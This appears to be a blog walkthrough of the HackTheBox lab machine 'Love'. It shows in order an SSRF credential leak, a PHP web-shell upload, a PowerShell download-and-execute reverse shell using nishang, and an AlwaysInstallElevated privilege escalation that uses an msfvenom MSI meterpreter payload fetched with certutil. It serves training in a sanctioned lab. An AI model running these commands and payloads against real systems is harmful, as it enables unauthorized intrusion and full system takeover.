Love HackTheBox WalkThrough       

love HackTheBox walkthrough

This is Love HackTheBox machine walkthrough. In this writeup, I have demonstrated step-by-step how I rooted Love HackTheBox machine. Before starting, let us know something about this box. It is a Windows OS box with IP address and difficulty level Easy assigned by its maker.

First of all, connect your PC with HackTheBox VPN and make sure your connectivity with Love machine by pinging its IP If all goes correct then it’s time to start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in banner grabbing the services running over different ports and sometimes it helps in vulnerability assessment also. I have used $nmap for this task and the result is given below:


$ sudo nmap -sC -T4 -sV -oN Love.nmap

Nmap scan during love HackTheBox walkthrough

Nmap found ports 801351394434453306 and 5000 as openApache2 on port 80Microsoft RPC server on 135, Microsoft SMB server on ports 139 & 445, Apache2 over SSL on port 443, MySQL server on port 3306 and again Apache2 over SSL on port 5000 are running. Nmap script ssl-cert revealed a virtual host

Before moving further for enumeration on ports 80, 443 and 5000 (these ports first because web server is running over them and websites have more attack surface than normal ports) let us add to our hosts file. hosts file is present in directory /etc/.

Hosts File After Modification

$ cat /etc/hosts

Host File modification during love HackTheBox walkthrough

URLs http://love.htb , , and are accessible but gave 403 (Forbidden) error which means is blacklisted for public access. After some enumeration found Free File Scanner at URL which is in its beta phase. It accepts a file URL and scans for malicious content. I tried to give a webshell URL in case we can perform RFI (Remote File Inclusion) but it truncates the content of file and our webshell becomes useless.

After spending some times over this page and doing some enumeration found that we can interact with its internal web server to access internal resources. When this is happened it is called SSRF. In SSRF vulnerability an attacker forge the server to reveals some internal resources like internal listening port, various services running over them, etc. Then I tried to access the URL using its address and got some admin credential. The credential is for Voting System Administration.

admin : @LoveIsInTheAir!!!!

Accessing using localhost

This credential can be used at URL http://love.htb/admin/ which I came to know after directory bruteforcing on http://love.htb.

$ sudo dirsearch -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://love.htb/ -x 400,401,402,403 -e all -t 100 | tee dirbrute/dir.out

Directory bruteforcing during love HackTheBox walkthrough

Successfully logged in at URL http://love.htb/admin using the cred admin: @LoveIsInTheAir!!!!

home.php dashboard of voting system

After some enumeration and exploitation found that we can upload malicious file in profile upload section of the above page. And in place of image, we can upload php file, there is no any restriction applied to file upload. The uploaded file can be accessed through the URL http://love.htb/images/. So let us upload our web shell and confirm Remote Code Execution on Love machine.

Uploading Web Shell & Confirming RCE

Create a cmd.php file with the following content and under Profile Update section upload the file. Fill current password to @LoveIsInTheAir!!!! and click on Save to save the changes.

echo "File has been executed \n";
Uploading webshell to confirm RCE on love HackTheBox during its walkthrough

Go to URL http://love.htb/images/cmd.php?cmd=whoami to confirm Remote Code Execution. We can clearly see that output of command $whoami is love/phoebe.

Confirming RCE  on love machine

Getting User Shell

Now we have confirmed RCE on Love machine. Let us get user shell on our local (Kali) machine so that we can access Love machine remotely and can access other resources of this machine.

Since it is a windows machine so we can’t use php-reverse-shell.php webshell because some commands of this shell is not present in windows. So, we will use a PowerShell webshell which will give us remote shell. The webshell which I am going to use is nishang’s Invoke-PowerShellTcp.ps1. You can download it from here.

To get reverse shell do the following.
1. Download Invoke-PowerShellTcp.ps1 from the above URL and rename it to shell.ps1.
2. Edit shell.ps1 and put

Invoke-PowerShellTcp -Reverse -IPAddress -Port 4321 

at the end in the script by changing the IP with your tun0 IP.
3. Start python3 web server locally to host this file.
4. Start netcat listener in separate window to get reverse shell.
5. Lastly go to URL http://love.htb/images/cmd.php?cmd=powershell%20-nop%20-exec%20bypass%20-c%20%20%22IEX(New-Object%20Net.WebClient).DownloadString(%27http:// and you will get shell.

Executing URL in URL bar to get reverse shell in love machine

In Window 1

$ nc -lp 4321
$ whoam

In Window 2

$ cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1
$ echo "Invoke-PowerShellTcp -Reverse -IPAddress -Port 4321" >> shell.ps1
$ sudo python3 -m http.server 80

Getting user shell during love HackTheBox walkthrough

We got a shell with the user phoebe. Let us capture user flag.

Capture User Flag

$ type C:/Users/Phoebe/Desktop/user.txt

Capturing user flag during love HackTheBox walkthrough

Privilege Escalation

To perform privilege escalation, we have to first find a privilege escalation vector using which we can perform privilege escalation. You can either use some post exploitation enumeration scripts like Watson, winPEAS.exe, PowerUp.ps1, etc., or go manually.

Finding PrivEsc Vector

I have used winPEASx64.exe for this job. To run winPEASx64.exe we have to first download it on Love machine and then execute it. So, first of all download winPEASx64.exe binary from above URL on your Kali machine and start python3 web server to host this file locally. Then download this file on Love machine and lastly execute it as shown below.

On Kali Machine

$ sudo python3 -m http.server 80

On Love Machine

$ cd C:\Windows\system32\spool\drivers\color\ # Change to public writeable folder
$ certutil -UrlCache -split -f "" winPEASx64.exe

$ ./winPEASx64.exe systeminfo userinfo

Downloading winPEASx64.exe on love machine to find privilege escalation vector

WinPEASx64.exe found that AlwaysInstallElevated functionality is enabled in this machine. It gives normal user right to install any msi extension file in windows. Since MSI file can only be installed by Admin user privilege so we can say that AlwaysInstallElevated functionality can make any normal user an admin user when he/she installs any MSI file. We can exploit this functionality to get admin shell. In place of valid.msi file we can install any shell.msi file and this MSI file will be generated using $ msfvenom tool. When we execute shell.msi on Love machine we will get meterpreter shell on our listener in metasploit.

When I tried to did the same thing, I could easily get admin shell. So here our potential privilege escalation vector is Privilege Escalation by exploiting AlwaysInstallElevated functionality. Check this article for more detailed info.

winPEASx64.exe output snippet

Getting Admin Shell

So, to get admin shell follow the given steps.

On Kali Machine

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=5432 --arch x64 --platform windows -f msi -o shell.msi
$ sudo python3 -m http.server 80

On Love Machine

$ certutil -urlCache -split -f "" shell.msi
$ ./shell.msi
 # Don’t forget to start listener in msfconsole before executing this

Creating and downloading shell.msi file in love machine

Start listener in $msfconsole as shown below.

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST
msf6 exploit(multi/handler) > set LPORT 5432
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit
meterpreter > sysinfo
meterpreter > getuid

Privilege escalation in love HackTheBox during its walkthrough

We have got meterpreter shell as NT AUTHORITY\SYSTEM. Let us capture root flag.

Capture Root Flag

meterpreter > cd "C:\Users\Administrator\Desktop"
meterpreter > cat root.txt

Capturing root flag in love HackTheBox

This was how I rooted Love HackTheBox machine. Learnt a lot after this challenge, hope you have also learnt some new things. Thanks for reading this walkthrough. For any query and suggestion feel free to write us at [email protected].

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Deepak Kumar Maurya

Hi everyone, I am Deepak Kumar Maurya, creator of I am InfoSec Consultant in day and Bug Bounty Hunter & CTF player at night. Sometimes write walkthrough and other cyber security articles here. You can connect me at